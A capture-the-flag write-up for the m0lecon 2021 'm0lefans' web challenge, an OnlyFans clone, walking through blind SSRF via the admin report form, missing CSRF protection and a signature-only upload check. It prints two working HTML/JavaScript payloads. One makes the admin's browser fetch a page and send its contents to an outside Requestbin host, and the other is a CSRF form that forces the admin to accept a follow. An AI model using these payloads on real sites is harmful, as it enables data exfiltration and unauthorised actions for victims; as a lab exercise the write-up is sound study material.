[Link to original
writeup](https://wrecktheline.com/writeups/m0lecon-2021/#m0lefans)  
# m0lefans (32 solves, 149 points)  
by 0xkasper

```  
I was concerned my friends would find my private page, so I created my own
clone where you can only follow people who give you their profile's link!

Go, post photos of your private ventilator without fear!

Authors: Alberto247, Xato  
```

This challenge consists of an OnlyFans clone called m0lefans.  
When registering for an account, we see that we have a random UID as
subdomain, which is also our private page. In settings we can change this UID,
user information, avatar, as well as our page's visibility (public or
private). We can post images with a text and it'll show up on our profile.
There is a feed page with all public profile's posts and a search function.

However, the most important function is the 'Report a post to the admin'
button on the bottom. This form allows you to submit a URL. After submitting
my Requestbin, I indeed get a hit and it confirms (blind) SSRF. Afterwards I
upload a simple HTML page to my website and make Javascript redirect to my
Requestbin. I again get a hit, confirming that the page is rendered and
Javascript is executed.

On the site, only the settings form has CSRF protection. The follow, unfollow,
like, etc. functionalities don't. Most even use GET instead of POST.  
By submitting `https://3ae54fb5-5881-47a5-97bd-
df3c86f6e54f.m0lecon.fans/profile/follow` (where `3ae54fb5-5881-47a5-97bd-
df3c86f6e54f` is my UID) as URL report, I get the admin to request a follow.
This only gives you the username of the admin, not yet their subdomain.

From the description, we can gather that the goal is to find the admin's
subdomain. However, in order to retrieve information from the blind SSRF with
JS, we need to find an XSS. Luckily there is one: the image upload
functionality (for post and avatar) only checks the byte signature of the
file, so we can upload HTML files.

If we upload the following XSS payload as avatar:  
```html  
GIF89a  
<html>  
<body>  
<form method="POST" action="https://requestbin.net/r/fhi4tmg0">  
<input id="html" type="text" name="html">  
</form>  
<script>  
var xhr = new XMLHttpRequest();  
xhr.onload = function() {  
let id = this.responseText;  
document.getElementById("html").value = id;  
document.forms[0].submit();  
}  
xhr.open("GET", "https://m0lecon.fans/feed/new");  
xhr.send();  
</script>  
</body>  
</html>  
```  
This will put the payload at
`https://m0lecon.fans/static/media/avatars/3ae54fb5-5881-47a5-97bd-
df3c86f6e54f.html`.  
This payload is at the main domain, while the authentication cookie is scoped
to a subdomain, so we can't retrieve the admin's credentials. However, we can
make a request to a page on the main domain, such as /feed/new and from there
grab the admin's subdomain from the returned HTML.  
The HTML is sent to the Requestbin and we can see the admin's subdomain there:  
`https://y0urmuchb3l0v3d4dm1n.m0lecon.fans/profile/`

When viewing this page in the browser, we can request to follow it, but the
admin still has to accept the follow.  
But thanks to no CSRF protection and the blind SSRF, we can make the admin
accept us.  
Accepting a follow request is simply done through a POST request to
/profile/request, with an `id` parameter containing a user ID.  
Your user ID can be figured out by creating a second account, requesting a
follow and viewing the request when accepting it.

Then we can upload this as avatar:  
```html  
GIF89a  
<html>  
<body>  
<form method="POST"
action="https://y0urmuchb3l0v3d4dm1n.m0lecon.fans/profile/request">  
<input type="text" name="id" value="47">  
</form>  
<script>  
document.forms[0].submit();  
</script>  
</body>  
</html>  
```  
And report the avatar URL again, so the admin will view it and consequently
accept our follow request due to the CSRF.

After that we can access the admin's posts and find the flag as post title:  
`ptm{m4k3_CSP_r3ports_gr3a7_4gain!}`

Original writeup (https://wrecktheline.com/writeups/m0lecon-2021/#m0lefans).